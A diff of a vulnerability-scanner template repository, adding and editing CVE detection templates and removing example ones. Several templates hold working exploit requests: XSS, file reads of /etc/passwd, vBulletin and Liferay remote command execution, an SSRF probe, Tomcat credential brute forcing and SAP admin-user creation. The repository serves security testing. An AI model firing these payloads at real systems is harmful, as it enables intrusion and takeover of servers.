# variables names as user-defined, it could be anything.
# relative path support is now added into the nuclei engine for better UX.
jira: panels/detect-jira.yaml
jira_cve_1: cves/CVE-2018-20824.yaml
jira_cve_2: cves/CVE-2019-3399.yaml
jira_cve_3: cves/CVE-2019-11581.yaml
jira_cve_4: cves/CVE-2017-18101.yaml
logic:
|
if jira() {
jira_cve_1()
jira_cve_2()
jira_cve_3()
jira_cve_4()
}
```
Example of running directory based templates when `detect-jira.yaml` is detected host running Jira application, based on this you can define your own workflow to run scans based on any or specific stacks.
```yaml
id: workflow-example
info:
name: Jira-Pawner
author: mzack9999
variables:
# defining templates using variables.
# variables names as user-defined, it could be anything.
# relative path support is now added into the nuclei engine for better UX.
jira: panels/detect-jira.yaml
jira_pwn: my-jira-templates/
# defining directory to run all the templates
logic:
|
if jira() {
jira_pwn()
}
```
+1 -1
View File
@@ -1,6 +1,6 @@
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) to build new and your own custom templates.
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
------
**Notes:**
+20 -6
View File
@@ -5,11 +5,21 @@ info:
severity: high
requests:
- payloads:
username: username.txt
password: password.txt
# make sure you have your wordlist on the defind path.
- payloads:
username:
- admin
password:
- admin
- guest
- password
- test
- 12345
- 123456
# Make sure you have your wordlist on the defind path.
attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
@@ -18,13 +28,17 @@ requests:
- |
GET /manager/html HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(username:password)}}
Authorization: Basic {{base64('username:password')}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- Apache Tomcat
+22
View File
@@ -0,0 +1,22 @@
id: CVE-2017-10075
info:
name: Oracle Content Server XSS
author: madrobot
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO"
- "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<script>alert(31337)</script>"
part: body
-1
View File
@@ -16,7 +16,6 @@ requests:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=-17208,-9223372036854758792
Accept-Encoding: gzip, deflate
Connection: close
matchers-condition: and
+36
View File
@@ -0,0 +1,36 @@
id: CVE-2017-9841
info:
name: CVE-2017-9841
author: Random-Robbie
severity: High
# Reference to exploit
# https://github.com/cyberharsh/Php-unit-CVE-2017-9841
# https://github.com/RandomRobbieBF/phpunit-brute
requests:
- method: GET
path:
- "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
- "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
matchers-condition: and
matchers:
- type: word
words:
- "this version of phpunit requires php 5"
part: body
- type: status
status:
- 200
+3 -2
View File
@@ -3,14 +3,15 @@ id: CVE-2018-11759
info:
name: Apache Tomcat JK Status Manager Access
author: Harsh Bothra
severity: Medium
severity: medium
# source:- https://github.com/immunIT/CVE-2018-11759
# Source:- https://github.com/immunIT/CVE-2018-11759
requests:
- method: GET
path:
- '{{BaseURL}}/jkstatus'
- '{{BaseURL}}/jkstatus;'
matchers-condition: and
matchers:
+25
View File
@@ -0,0 +1,25 @@
id: CVE-2019-14322
info:
name: Odoo 12.0 - Local File Inclusion
author: madrobot
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/base_import/static/c:/windows/win.ini"
- "{{BaseURL}}/web/static/c:/windows/win.ini"
- "{{BaseURL}}/base/static/c:/windows/win.ini"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
part: body
+25
View File
@@ -0,0 +1,25 @@
id: CVE-2019-16759
info:
name: 0day RCE in vBulletin v5.0.0-v5.5.4
author: dwisiswant0
severity: high
requests:
- raw:
- |
POST /index.php?routestring=ajax/render/widget_php HTTP/1.1
widgetConfig[code]=echo%20%27bm9uZXhpc3RlbnQ6MTMzNwo=%27%20|%20base64%20-d;%20exit;
- |
POST / HTTP/1.1
{"routestring":"ajax\/render\/widget_php","widgetConfig[code]":"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' | base64 -d; exit;"}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "nonexistent:1337"
+17
View File
@@ -0,0 +1,17 @@
id: CVE-2019-18394
info:
name: Openfire Full Read SSRF
author: pdteam - nuclei.projectdiscovery.io
severity: critical
# Source:- https://swarm.ptsecurity.com/openfire-admin-console/
requests:
- method: GET
path:
- "{{BaseURL}}/getFavicon?host=burpcollaborator.net"
matchers:
- type: word
words:
- <h1>Burp Collaborator Server</h1>
+23
View File
@@ -0,0 +1,23 @@
id: CVE-2019-19985
info:
name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
author: KBA@SOGETI_ESEC
severity: medium
# Source:- https://www.exploit-db.com/exploits/48698
requests:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"
matchers-condition: and
matchers:
- type: word
words:
- Subscribed
- type: status
status:
- 200
-1
View File
@@ -16,7 +16,6 @@ requests:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Referer: {{Hostname}}
Content-Length: 168
Accept-Encoding: gzip, deflate
Connection: close
{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
+35
View File
@@ -0,0 +1,35 @@
id: CVE-2020-1147
info:
name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
author: dwisiswant0
severity: critical
# Ref:
# - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1147
# - https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
requests:
- method: GET
path:
- "{{BaseURL}}/_layouts/15/listform.aspx?PageType=1&ListId=%7B13371337-1337-1337-1337-133713371337%7D"
matchers-condition: and
matchers:
- type: word
words:
- "List does not exist"
- "It may have been deleted by another user"
part: body
condition: and
- type: word
words:
- "Microsoft-IIS"
- "X-SharePointHealthScore"
- "SharePointError"
- "SPRequestGuid"
- "MicrosoftSharePointTeamServices"
condition: or
part: header
- type: status
status:
- 200
-1
View File
@@ -15,7 +15,6 @@ requests:
- |
POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
X-Requested-With: XMLHttpRequest
+24
View File
@@ -0,0 +1,24 @@
id: CVE-2020-3187
# Reference: https://twitter.com/aboul3la/status/1286809567989575685
info:
name: CVE-2020-3187
author: KareemSe1im
severity: High
requests:
- method: GET
path:
- "{{BaseURL}}/+CSCOE+/session_password.html"
matchers-condition: and
matchers:
- type: word
words:
- webvpn
- Webvpn
part: header
- type: status
status:
- 200
+19
View File
@@ -0,0 +1,19 @@
id: CVE-2020-3452
# Source: https://twitter.com/aboul3la/status/1286012324722155525
info:
name: CVE-2020-3452
author: pdteam
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
matchers:
- type: word
words:
- "INTERNAL_PASSWORD_ENABLED"
- "CONF_VIRTUAL_KEYBOARD"
condition: and
+37
View File
@@ -0,0 +1,37 @@
id: CVE-2020-6287
info:
name: Create an Administrative User in SAP NetWeaver AS JAVA (LM Configuration Wizard)
author: dwisiswant0
severity: critical
# Affected Versions: 7.30, 7.31, 7.40, 7.50
# p.s:
# > Don't forget to change the default credentials
# > to create new admin in associated file:
# > `payloads/CVE-2020-6287.xml`
# Ref:
# - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6287
requests:
- payloads:
data: "payloads/CVE-2020-6287.xml"
raw:
- |
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=UTF-8
Connection: close
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('data')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
matchers-condition: and
matchers:
- type: word
words:
- "urn:CTCWebServiceSi"
part: body
- type: status
status:
- 200
+2 -2
View File
@@ -14,10 +14,10 @@ requests:
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
Connection: "close"
Content-Type: "application/x-www-form-urlencoded"
cmd2: "bash -c 'curl -v \"http://nonexistent/\" -H \"Connection: close\"' -m 1"
cmd2: "bash -c 'echo \"bm9uZXhpc3RlbnQ6MTMzNwo=\" | base64 -d'"
body: "{\"p_auth\":\"AdsXeCqz\",\"tableId%3d1\":\"\",\"formDate\":\"1526638413000\",\"columnId\":\"123\",\"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\"{\\\"userOverridesAsString\\\":\\\"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\\\"}\",\"name\":\"A\",\"cmd\":\"{\\\"/expandocolumn/update-column\\\":{}}\"Line truncated
matchers:
- type: word
words:
- "Could not resolve host"
- "nonexistent:1337"
part: body
+33
View File
@@ -0,0 +1,33 @@
id: CVE-2020-8191
info:
name: Citrix ADC & NetScaler Gateway Reflected XSS
# Leads to RCE
author: dwisiswant0
severity: high
requests:
- raw:
- |
POST /menu/stapp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
X-NITRO-USER: xpyZxwy6
sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot
matchers-condition: and
matchers:
- type: word
words:
- "</title><script>alert(31337)</script>"
part: body
- type: status
status:
- 200
+88
View File
@@ -0,0 +1,88 @@
id: CVE-2020-8193
info:
name: Citrix unauthenticated LFI
author: pdteam
severity: high
# Source:- https://github.com/jas502n/CVE-2020-8193
requests:
- raw:
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/xml
X-NITRO-USER: xpyZxwy6
X-NITRO-PASS: xWXHUJ56
<appfwprofile><login></login></appfwprofile>
- |
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
GET /menu/neo HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
GET /menu/stc HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: randkey
<appfwprofile><login></login></appfwprofile>
- |
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: randkey
<clipermission></clipermission>
cookie-reuse: true
# Using cookie-reuse to maintain session between each request, same as browser.
extractors:
- type: regex
name: randkey
part: body
internal: true
regex:
- "(?m)[0-9]{3,10}\\.[0-9]+"
# Using rand_key as dynamic variable to make use of extractors at run time.
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
+33
View File
@@ -0,0 +1,33 @@
id: CVE-2020-8194
info:
name: Citrix ADC & NetScaler Gateway Reflected Code Injection
author: dwisiswant0
severity: high
requests:
- raw:
- |
GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Cookie: startupapp=st
Upgrade-Insecure-Requests: 1
matchers-condition: and
matchers:
- type: word
words:
- "<jnlp codebase=\"nonexistent.1337\">"
part: body
- type: word
words:
- "application/x-java-jnlp-file"
part: header
- type: status
status:
- 200
-37
View File
@@ -1,37 +0,0 @@
id: azure-cnames-finder
info:
name: Azure CNAMEs
author: mzack9999
severity: informative
# Update the list with more CNAMEs related to azure
dns:
- name: "{{FQDN}}"
type: A
class: inet
recursion: true
retries: 3
matchers:
- type: word
words:
- "azure-api.net"
- "azure-mobile.net"
- "azurecontainer.io"
- "azurecr.io"
- "azuredatalakestore.net"
- "azureedge.net"
- "azurefd.net"
- "azurehdinsight.net"
- "azurewebsites.net"
- "azurewebsites.windows.net"
- "blob.core.windows.net"
- "cloudapp.azure.com"
- "cloudapp.net"
- "database.windows.net"
- "redis.cache.windows.net"
- "search.windows.net"
- "servicebus.windows.net"
- "trafficmanager.net"
- "visualstudio.com"
+1 -1
View File
@@ -3,7 +3,7 @@ id: cname-service-detector
info:
name: 3rd party service checker
author: bauthard
severity: informative
severity: info
dns:
- name: "{{FQDN}}"
+1 -1
View File
@@ -3,7 +3,7 @@ id: dead-host-with-cname
info:
name: dead-host-with-cname
author: pdnuclei - projectdiscovery.io
severity: informative
severity: info
dns:
- name: "{{FQDN}}"
-19
View File
@@ -1,19 +0,0 @@
id: filter-valid
info:
name: Valid Domains Filter
author: mzack9999
severity: informative
dns:
- name: "{{FQDN}}" # Random prefix
type: A
class: inet
recursion: true
retries: 3
matchers:
- type: word
words:
- "NOERROR"
- "IN\tCNAME"
- "IN\tA"
-19
View File
@@ -1,19 +0,0 @@
id: filter-wildcard
info:
name: Wildcard Filter
author: mzack9999
severity: informative
dns:
- name: "0831058744.{{FQDN}}" # Random prefix
type: A
class: inet
recursion: true
retries: 3
matchers:
- type: word
words:
- "NXDOMAIN"
- "SERVFAIL"
- "REFUSED"
+1 -1
View File
@@ -3,7 +3,7 @@ id: servfail-refused-hosts
info:
name: Servfail Host Finder
author: mzack9999
severity: informative
severity: info
dns:
- name: "{{FQDN}}"
-18
View File
@@ -1,18 +0,0 @@
id: basic-dns-example
info:
name: Basic DNS Request
author: pdteam
severity: info
dns:
- name: "{{FQDN}}"
type: CNAME
class: inet
recursion: true
retries: 3
matchers:
- type: word
words:
# The response must contains a CNAME record
- "IN\tCNAME"
-15
View File
@@ -1,15 +0,0 @@
id: basic-http-test
info:
name: Test File
author: pdteam
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/test.txt"
matchers:
- type: word
words:
- "This is test!"
@@ -1,31 +0,0 @@
id: workflow-example
info:
name: Jira-Pawner
author: mzack9999
variables:
# defining temapltes using variables.
# variables names as user defind, it could be anything.
# relative path support is now added into nuclei engine for better UX.
jira: panels/detect-jira.yaml
jira_cve_1: cves/CVE-2018-20824.yaml
jira_cve_2: cves/CVE-2019-3399.yaml
jira_cve_3: cves/CVE-2019-11581.yaml
jira_cve_4: cves/CVE-2017-18101.yaml
logic:
|
# defening conditionals templates.
if jira() {
# if above conditon retruns true, run all the below tempaltes.
# if above conditon fails, no tempaltes will be executed.
jira_cve_1()
jira_cve_2()
jira_cve_3()
jira_cve_4()
}
-22
View File
@@ -1,22 +0,0 @@
id: dns-multiple-example
info:
name: DNS Multiple test
author: pdteam
severity: info
dns:
- name: "{{FQDN}}"
type: A
class: inet
recursion: true
retries: 3
matchers-condition: and
matchers:
- type: word
words:
- "example-cname.com"
- type: word
words:
- "NXDOMAIN"
-37
View File
@@ -1,37 +0,0 @@
id: dummy-raw
info:
name: Example-Fuzzing
requests:
- payloads:
param_a: /home/user/wordlist_param_a.txt
param_b: /home/user/wordlist_param_b.txt
attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
raw:
# Request with simple param and header manipulation with DSL functions
- |
POST /?param_a={{param_a}}&paramb={{param_b}} HTTP/1.1
User-Agent: {{param_a}}
Host: {{Hostname}}
another_header: {{base64(param_b)}}
Accept: */*
This is the Body
# Request with body manipulation
- |
DELETE / HTTP/1.1
User-Agent: nuclei
Host: {{Hostname}}
This is the body {{sha256(param_a)}}
# Yet another one
- |
PUT / HTTP/1.1
Host: {{Hostname}}
This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
matchers:
- type: word
words:
- "title"
- "body"
@@ -1,43 +0,0 @@
id: http-multiple-matcher-condition
info:
name: Test Template
author: pdteam
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/test.txt"
matchers-condition: or
# matchers-condition supports AND or OR operation
matchers:
- type: word
name: php
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
part: header
- type: word
name: node
words:
- "Server: NodeJS"
- "X-Powered-By: nodejs"
condition: or
part: header
- type: word
name: python
words:
- "Python/2."
- "Python/3."
condition: or
part: header
- type: word
name: burp
words:
- "Burp Collaborator"
part: header
-33
View File
@@ -1,33 +0,0 @@
id: http-multiple-matcher
info:
name: Test Template
author: pdteam
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/test.txt"
matchers:
- type: word
name: php
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
part: header
- type: word
name: node
words:
- "Server: NodeJS"
- "X-Powered-By: nodejs"
condition: or
part: header
- type: word
name: python
words:
- "Python/2."
- "Python/3."
condition: or
part: header
-33
View File
@@ -1,33 +0,0 @@
id: http-raw-example
info:
name: HTTP Raw Test
author: pdteam
severity: info
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
- |
GET /testing HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
matchers:
- type: word
words:
- "Test is test"
-23
View File
@@ -1,23 +0,0 @@
id: http-raw-example
info:
name: HTTP Raw Test
author: pdteam
severity: info
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
matchers:
- type: word
words:
- "Test is test"
File renamed without changes.
+22
View File
@@ -0,0 +1,22 @@
id: cgi-test-page
info:
name: CGI Test page
author: YASH ANAND @yashanand155
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/test/test.cgi"
matchers-condition: and
matchers:
- type: word
words:
- HTTP_ACCEPT
- HTTP_ACCEPT_ENCODING
condition: and
- type: status
status:
- 200
+1 -1
View File
@@ -3,7 +3,7 @@ id: dir-listing
info:
name: Directory listing enabled
author: _harleo
severity: low
severity: info
requests:
- method: GET
+26
View File
@@ -0,0 +1,26 @@
id: exposed-kibana
info:
name: Exposed Kibana
author: Shine
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}/'
- '{{BaseURL}}:5601/'
- '{{BaseURL}}/app/kibana/'
- '{{BaseURL}}:5601/app/kibana/'
matchers-condition: and
matchers:
- type: word
words:
- 'kibanaWelcomeView'
- 'cluster_uuid'
- 'kibanaWelcomeLogo'
- 'kibanaWelcomeTitle'
- type: status
status:
- 200
+29
View File
@@ -0,0 +1,29 @@
id: filezilla-exposed
info:
name: Filezilla
author: amsda
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/filezilla.xml"
- "{{BaseURL}}/sitemanager.xml"
- "{{BaseURL}}/FileZilla.xml"
matchers-condition: and
matchers:
- type: word
words:
- "<FileZilla"
- "<Servers>"
condition: and
- type: word
words:
- xml
part: header
- type: status
status:
- 200
+1
View File
@@ -4,6 +4,7 @@ info:
name: Git Config Disclosure
author: Ice3man
severity: medium
description: Searches for the pattern /.git/config on passed URLs.
requests:
- method: GET
+18
View File
@@ -0,0 +1,18 @@
id: htaccess-config
info:
name: HTaccess config file
author: Yash Anand @yashanand155
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/.htaccess"
matchers:
- type: word
words:
- RewriteRule
- </IfModule>
- <IfModule
condition: and
+20
View File
@@ -0,0 +1,20 @@
id: lazy-file-manager
info:
name: Lazy File Manager
author: amsda
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/lfm.php"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- Lazy File Manager
+1 -1
View File
@@ -3,7 +3,7 @@ id: public-tomcat-instance
info:
name: tomcat manager disclosure
author: Ahmed Sherif
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: security-txt
info:
name: Security.txt File
author: bad5ect0r
severity: informative
severity: info
requests:
- method: GET
+22 -4
View File
@@ -2,16 +2,34 @@ id: wadl-files
info:
name: wadl file disclosure
author: 0xrudra
severity: informative
author: 0xrudra & manuelbua
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/application.wadl"
- "{{BaseURL}}/service?Wsdl"
- "{{BaseURL}}/application.wadl?detail=true"
- "{{BaseURL}}/api/application.wadl"
- "{{BaseURL}}/api/v1/application.wadl"
- "{{BaseURL}}/api/v2/application.wadl"
matchers:
- type: word
- name: http-get
type: word
words:
- "This is simplified WADL with user and core resources only"
- "\"http://jersey.java.net/\""
- "http://wadl.dev.java.net/2009/02"
condition: or
part: body
- method: OPTIONS
path:
- "{{BaseURL}}/"
- "{{BaseURL}}/api/v1"
- "{{BaseURL}}/api/v2"
matchers:
- name: http-options
type: word
words:
- "This is simplified WADL with user and core resources only"
- "\"http://jersey.java.net/\""
+22
View File
